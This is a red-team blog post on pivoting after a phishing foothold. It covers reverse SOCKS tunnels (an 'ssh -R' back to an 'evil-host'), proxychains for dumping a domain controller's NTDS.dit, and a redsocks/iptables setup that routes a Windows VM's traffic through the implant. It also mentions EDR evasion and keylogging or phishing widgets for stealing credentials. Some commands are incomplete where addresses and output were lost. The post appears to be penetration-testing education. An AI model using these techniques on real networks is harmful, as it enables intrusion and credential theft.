Pwning with Portals: How Rick Sanchez Dumps DITs

On Pivoting

This post exists to place emphasis on exactly how useful and how far you can take SOCKS proxies for the purposes of penetration tests and red teams. I have been using them to almost completely replace my use of and reliance upon built-in C2 functionality.

Consider the following scenario: you have just sent a phishing email to a target, and you’ve obtained a shell back in response. You now have internal access to the target’s network and wish to begin establishing persistence, moving laterally, etc. Let’s take a pretty standard enumeration tactic, maybe you want to kerberoast the domain in which the compromised host resides. A few potential options await you; what follows is by no means an exhaustive list:

In short, these options all share one thing in common: you have to run some sort of procedure or set of procedures within memory. This means that additional testing is required to ensure that your payload will bypass snitchware (EDR,XDR,etc). Typically, when pivoting is talked about, it's use is highlighted as a method to leverage the dual-homed nature of a host on a network to gain access to another subnet. Alternatively, and what I am highlighting with this post, most red team activities can be performed using a simple SOCKS connection so that you can operate without fear that the next command you run might lose what is perhaps your only foothold in the network.

Conducting a red team via a SOCKS proxy has a number of advantages:


Running exclusively over SOCKS is not without it's disadvantages however:


Let me address these negative aspects in a little more detail. The first of the drawbacks to pivoting is that in order for a stable stream of data to be exchanged, the polling interval needs to be set to 0. However if you only turn your interval to this when you’re performing these relevant attacks, then this issue shouldn’t be an... issue. This seems like a pain but if you already have your initial enumeration and persistence procedures scripted for rapid execution then you can land, enumerate, persist, and collect data in a couple of seconds. After that you can set your interval back to whatever you feel is comfortable. It's generally good practice to have these sorts of things in order this way for any red team engagement.

The second issue to address is that when your payload is run by the user the process that is spawned has the privileges of this user, allowing you to operate from an authenticated perspective without actually knowing any credentials. The options for getting around this hurdle require a little more creativity, perhaps something like having your payload obtain those credentials via keylogging or by phishing the user with a small desktop GUI widget of some sort.

Thinking with Portals

Onto the actual technique. Pivoting is all about tunnels, more specifically, SOCKS tunnels, even more specifically, reverse dynamic socks tunnels. In case it's been a while, a reverse dynamic socks tunnel is where a host communicates outbound to an external server to initiate a connection with the intention of allowing desired traffic originating from the external server to go through that connection and get handled on the end of the connecting host. This effectively gives the external server access to the local network of the connecting host through a single socket.

A common example of a reverse dynamic port forward is seen with the simple command: ssh -R 8888

Just to clarify, this command would be run from the host of the 'victim' which would grant all SOCKS traffic that is sent through evil-host's port 8888 the ability to be handled by the victim's host, ultimately granting evil-host access to the victim's network.

Keep in mind SSH is not required at all, the SOCKS protocol itself being implemented by the payload is the only requirement here. It is likely one of the simplest network protocols to support; additional information on the protocol can be found within the RFC.

A few tools off of the top of my head that support connections like are listed below but I would always recommend you write your own payloads with this functionality included.This is because the SOCKS protocol only needs to be implemented at the endpoints, the data that traverse the perimeter can go over any protocol, allowing you to get really creative with how you want to implement the protocol.

More tools obviously exist, and google is your friend.

Once you have a SOCKS connection the hard work is basically finished, at this point you can run whatever commands you would run as though you were on-site performing an internal, mind you with a bit of latency depending on network performance.

You probably already know about proxychains but if not it basically wraps all network traffic in the SOCKS protocol, shown below:


Like I said above, you can work as though you were on an internal, here I am running using proxychains:

Dumping a dit:


So while I could go into detail on how to apply this directly to a specific C2, that isn't what this post is about, pivoting is a networking concept that supercedes a single brand of C2 so I want to keep this general. Instead I'll try to go into a bit more detail on how to conceptually apply this to an engagement, since I know most people are not huge fans of networking.

If you are doing anything from linux you can typically just use proxychains, configurable in seconds with something like the snippet below:

# Tail end of of /etc/proxychains.conf, truncated for brevity
socks4 7777
socks4 8080 # from the perspective of the second hop (cloudserv), this port is on

Then we can simply run:

proxychains domain/user:"password"@internal_ip

For the following result:


Hopefully a practical example like this helps to clarify some of what is going on and gives you a foundation with which to play around with things until they get working.

One Step Further

Python scripts of basically any kind can go through proxychains. This is extremely useful but we can take this a bit further, primarily for those of you who prefer windows or have tools that only run on windows. So, next is something a little more difficult: Powershell over socks, even without native socks support provided by the script/application. It is true that a few powershell utilities are created with socks in mind, but those are few and far between, we have a portal, and some traffic, so we are going to try and get our traffic through the proxy without the application knowing about it. You can think of it as a system wide proxychain.

Enter: Redsocks

Redsocks is a program that when given a proper iptables configuration, and a socks connection, will ferry ALL traffic across the proxy (or proxies) like your own little network Charon.

For more visual people, an example of the final setup will look something like this:

WINDOWSVM->LINUX(running redsocks)->(ssh -L 7777:localhost:7777@CLOUD.HOST)->CLOUD.HOST<-(ssh -R 7777)->IMPLANT

Most of this setup info is straight from the github linked above as well as from this article. I will be doing a slightly more "minimalist" setup which will be much less granular, so if you want more control, check out the links below:

The standard setup for my host (Debian Buster) goes something like this:

  1. Install redsocks: sudo apt install redsocks -y
  2. Back up your old iptables, there is a binary for this: sudo iptables-save > ~/old-iptable-rules.rules
  3. Set up iptables with the redsocks chain and exclusions.

These exclusions are pretty standard as they are simply the network ranges that are reserved for private networks. Keep in mind you will need to change these by removing the lines corresponding to the network ranges being used by your internal client's network.

For example: if the client's network is using and you're using you will need to change the exclusion in the list below to so as to avoid excluding traffic destined for the client network while still maintaining the exclusions to access your own network.

Setting up new chain and exclusions:

sudo iptables-save > backingthemupanyways.rules # backing up the rules
sudo iptables -t nat -N REDSOCKS
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN
sudo iptables -t nat -A REDSOCKS -d -j RETURN

Port 12345 is the default port that redsocks listens on, this is not your socks proxy port by the way; this can be changed in /etc/redsocks.conf. No matter what port you use, you need to run this with the port that is specified in the /etc/redsocks.conf file:

  1. Point the REDSOCKS chain traffic to the redsocks service
sudo iptables -t nat -A REDSOCKS -p tcp -j REDIRECT --to-ports 12345
  1. Configure redsocks
redsocks {
	/* `local_ip' defaults to for security reasons,
	 * use if you want to listen on every interface.
	 * `local_*' are used as port to redirect to.
	local_ip =;
	local_port = 12345;

	// `ip' and `port' are IP and tcp-port of proxy-server
	// You can also use hostname instead of IP, only one (random)
	// address of multihomed host will be used.
	ip =;  # <------------ change this to match your outbound proxy settings
                     # remember is forwarded to CLOUDHOST:7777
	port = 7777;     # <------------ change this to match your outbound proxy settings

I truncated the rest of the file for brevity, since nothing else really matters for this setup, but keep in mind there are some additional features and instructions for things like per-user traffic redirection, random proxy swapping, and load balancing.

After you change this configuration information, you need to reload the service with something like sudo service redsocks force-reload and then you should be good to go for configuring redsocks.

  1. Send traffic to the SOCKS chain It is time to redirect the traffic we want through redsocks, these rules tell iptables what traffic actually gets redirected through the redsocks service. I’ve included a few examples below:
# force all port 443 traffic through proxy
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDSOCKS
# force all port 80 traffic through proxy
iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDSOCKS
# force ALL traffic through proxy, this was the one used in my case
iptables -t nat -A OUTPUT -p tcp -d 0/0 -j REDSOCKS

Now you can test your implementation with curl or whatever IP identifier site you like. If everything is working it may be a good idea to save the current rules using sudo iptables-save > redsocks.rules or if nothing is working you can restore your previous configuration with sudo iptables-restore iptables_backup.rules from step one.

You can effecitvely use these two “.rules” files to turn the traffic redirection off and on.

Cool, so what did that get us? You should now be able to start your Windows VM set the interface to NAT, and go do stuff. What should happen is that while your traffic is being routed by your host OS, iptables will "catch" it and the traffic should go through redsocks. Below I have an example of running powershell through the socks proxy without using any special proxy configurations to make this happen.


Unfortunately, I do not have active directory domain in the cloud within which to demonstrate but the idea is the same.

Hopefully this is useful,